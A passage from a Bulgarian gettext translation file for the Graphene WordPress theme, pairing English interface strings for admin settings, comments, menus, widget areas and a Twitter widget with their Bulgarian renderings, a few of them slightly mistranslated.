премахва</strong> файловете на темата. За да изтриете тези файлове след като сте премахнали темата, отидете до Външен вид > Теми и изтрийте темата от там." #: admin/options.php:310 msgid "The preview will be updated when the \"Save Options\" button above is clicked." msgstr "Прегледът ще бъде обновен когато натиснете бутона \"Запазване на настройките\"." #: admin/uninstall.php:24 #, php-format msgid "Theme uninstalled. Redirecting to %s" msgstr "Темата е премахната. Пренасочване към %s" #: admin/user.php:7 msgid "Graphene-specific User Profile Information" msgstr "Информация за потребителския профил специфична за Graphene" #: admin/user.php:8 msgid "The settings defined here are used only with the Graphene theme." msgstr "Настройките зададени тук се използват само за темата Graphene" #: admin/user.php:12 msgid "Author profile image URL" msgstr "URL адрес на картинката на автора" #: admin/user.php:13 msgid "You can specify the image to be displayed as the author's profile image in the Author's page. If no URL is defined here, the author's <a href=\"http://www.gravatar.com\">Gravatar</a> will be used." msgstr "Можете да укажете картинка, която да се показва като картинка на автора в страницата на автора. Ако тук не е указан адрес, ще се използва <a href=\"http://www.gravatar.com\">Gravatar</a> на авторът." #: admin/user.php:17 msgid "Please enter the full URL (including <code>http://</code>) to your profile image." msgstr "Моля въведете пълен URL адрес (включително <code>http://</code>) до вашата профилна картинка." #: admin/user.php:17 msgid "<strong>Important: </strong>Image width must be less than or equal to <strong>150px</strong>." msgstr "<strong>Важно: </strong>Широчината на картинката трябва да бъде по-малка или равна на <strong>150px</strong>." #: admin/js/admin.js.php:47 msgid "Social Media name" msgstr "Име на социалната медиа" #: admin/js/admin.js.php:50 msgid "Name of the social media, e.g. LinkedIn, etc." msgstr "Име на социалната медиа, напр. LinkedIn, и т.н." #: admin/js/admin.js.php:54 msgid "Social Media title" msgstr "Заглавие на социалната медиа" #: admin/js/admin.js.php:57 msgid "Title for the social media, leave empty for generated title." msgstr "Заглавие на социалната медиа. Оставете празно за автоматично генерирано заглавие." #: admin/js/admin.js.php:61 msgid "Social Media profile URL" msgstr "URL адрес към профил в социалната мрежа" #: admin/js/admin.js.php:64 msgid "URL to your page for the social media." msgstr "URL адрес към вашата страница в социалната мрежа." #: admin/js/admin.js.php:68 msgid "Social Media icon URL" msgstr "URL адрес към иконата на социалната мрежа" #: admin/js/admin.js.php:71 #, php-format msgid "URL to the social media icon. Note: the theme uses the %s icon set for the social media icons. Please do not hotlink the icons on the site. Download the icons you need and upload them to your server instead." msgstr "URL адрес към иконата на социалната мрежа. Забележка: темата използва %s набор от икони за икони за социалните мрежи. Моля не свързвайте директно (hotlink) иконите от сайта. Вместо това, свалете иконите, които ви трябват и ги качене на вашия сървър." #: includes/theme-comments.php:23 msgid "says:" msgstr "казва:" #. translators: %1$s is the comment date, %2$s is the comment time #: includes/theme-comments.php:29 #, php-format msgid "%1$s at %2$s" msgstr "%1$s на %2$s" #: includes/theme-comments.php:31 msgid "Edit comment" msgstr "Промени коментара" #: includes/theme-comments.php:35 msgid "Reply" msgstr "Отговори" #: includes/theme-comments.php:46 msgid "Your comment is awaiting moderation." msgstr "Вашия коментар подлежи на одобрение" #: includes/theme-comments.php:68 msgid "Name:" msgstr "Име:" #: includes/theme-comments.php:69 msgid "Email:" msgstr "Email:" #: includes/theme-comments.php:70 msgid "Website:" msgstr "Сайт:" #: includes/theme-comments.php:80 msgid "Message:" msgstr "Текст:" #: includes/theme-functions.php:72 #, php-format msgid "Follow %s on Twitter" msgstr "Следвай %s в Twitter" #: includes/theme-functions.php:75 #, php-format msgid "Visit %s's Facebook page" msgstr "Посетете Facebook страницата на %s" #: includes/theme-functions.php:97 #, php-format msgid "Visit %1$s's %2$s page" msgstr "Посетете %2$s страницата на %1$s" #: includes/theme-loop.php:78 msgid "Continue reading »" msgstr "Прочетете повече »" #: includes/theme-loop.php:130 msgid "Older posts «" msgstr "По-стари публикации «" #: includes/theme-loop.php:131 msgid "» Newer posts" msgstr "» По-нови публикации" #: includes/theme-loop.php:133 msgid "Next page »" msgstr "Предишна страница »" #: includes/theme-loop.php:134 msgid "« Previous page" msgstr "« Следваща страница" #: includes/theme-loop.php:185 msgid "<strong>ERROR: You must supply the post ID to get the image from as an argument when calling the graphene_get_post_image() function.</strong>" msgstr "<strong>ГРЕШКА: Трябва да предоставите ID на публикацията, от която да вземете картинката като аргумент когато извиквате функцията graphene_get_post_image().</strong>" #: includes/theme-menu.php:65 msgid "Home" msgstr "Начало" #: includes/theme-panes.php:93 msgid "Read more" msgstr "Прочети повече" #: includes/theme-setup.php:100 msgid "Header Menu" msgstr "Заглавно меню (Header Menu)" #: includes/theme-setup.php:101 msgid "Secondary Menu" msgstr "Вторично меню" #: includes/theme-setup.php:102 msgid "Footer Menu" msgstr "Меню долу (Footer Menu)" #: includes/theme-setup.php:135 msgid "Header image by Syahir Hakim" msgstr "Заглавна картинка от Syahir Hakim" #: includes/theme-setup.php:139 msgid "This is the default Graphene theme header image, cropped from image by Quantin Houyoux at sxc.hu" msgstr "Това е заглавната картинка по подразбиране на темата Graphene, изрязана от картинка на Quantin Houyoux от sxc.hu" #: includes/theme-setup.php:143 #: includes/theme-setup.php:147 #: includes/theme-setup.php:151 #: includes/theme-setup.php:155 #: includes/theme-setup.php:159 msgid "Header image cropped from image by Ilco at sxc.hu" msgstr "Заглавна картинка отрязана от картинка на Ilco от sxc.hu" #: includes/theme-setup.php:209 msgid "Sidebar Widget Area" msgstr "Странична widget област" #: includes/theme-setup.php:211 msgid "The first sidebar widget area (available in two and three column layouts)." msgstr "Първата странична widget област (налична в структура с две и три колони)." #: includes/theme-setup.php:218 msgid "Sidebar Two Widget Area" msgstr "Втора widget област" #: includes/theme-setup.php:220 msgid "The second sidebar widget area (only available in three column layouts)." msgstr "Втора widget област (налична само в структура с три колони)." #: includes/theme-setup.php:227 msgid "Footer Widget Area" msgstr "Widget област в долната част (footer)" #: includes/theme-setup.php:229 msgid "The footer widget area. Leave empty to disable. Set the number of columns to display at the theme's Display Options page." msgstr "Widget област в долната част (footer). Оставете празно за забрана. Задайте брой колони в страницата Визуалните настройки на темата." #: includes/theme-setup.php:244 msgid "Front Page Sidebar Widget Area" msgstr "Widget област в страничната лента на началната страница" #: includes/theme-setup.php:246 msgid "The first sidebar widget area that will only be displayed on the front page." msgstr "Първата странична widget област, която ще бъде визуализирана само на началната страница." #: includes/theme-setup.php:253 msgid "Front Page Sidebar Two Widget Area" msgstr "Втора странична widget област на началната страница" #: includes/theme-setup.php:255 msgid "The second sidebar widget area that will only be displayed on the front page." msgstr "Втората странична widget област, която ще бъде визуализирана само на началната страница." #: includes/theme-setup.php:264 msgid "Front Page Footer Widget Area" msgstr "Долна widget област на началната страница" #: includes/theme-setup.php:266 msgid "The footer widget area that will only be displayed on the front page. Leave empty to disable. Set the number of columns to display at the theme's Display Options page." msgstr "Долна странична widget област, която ще бъде визуализирана само на началната страница. Оставете празно за забрана. Задайте броя на колоните, които да бъдат визуализирани в страницата Визуални настройки на темата." #: includes/theme-setup.php:276 msgid "Header Widget Area" msgstr "Заглавна widget област" #: includes/theme-setup.php:278 msgid "The header widget area." msgstr "Заглавната widget област." #: includes/theme-setup.php:295 #, php-format msgid "Dynamically added widget area. This widget area is attached to the %s action hook." msgstr "Динамично добавена widget област. Тази widget област е прикаечна към %s action hook." #: includes/theme-slider.php:183 msgid "View full post" msgstr "Виж цялата публикация" #: includes/theme-widgets.php:14 msgid "Display the latest Twitter status updates." msgstr "Показване на последните статуси от Twitter" #: includes/theme-widgets.php:46 msgid "Loading tweets..." msgstr "Зареждане на публикациите от Twitter..." #: includes/theme-widgets.php:50 msgid "Follow me on Twitter" msgstr "Следвай ме в Twitter" #: includes/theme-widgets.php:62 msgid "follower" msgstr "последовател" #: includes/theme-widgets.php:63 msgid "followers" msgstr "последователи" #: includes/theme-widgets.php:94 msgid "Latest tweets" msgstr "Последни туитове (tweets)" #: includes/theme-widgets.php:101 msgid "Title:" msgstr "Заглавие:" #: includes/theme-widgets.php:105 msgid "Twitter Username:" msgstr "Потребителско име в Twitter:" #: includes/theme-widgets.php:109 msgid "Number of tweets to display:" msgstr "Брой тиутове, които да се показват:" #: includes/theme-widgets.php:113 msgid "Show followers count" msgstr "Показване на броя на последователите" #: includes/theme-widgets.php:117 msgid "Open links in new window" msgstr "Отваряне на връзките в нов прозорец"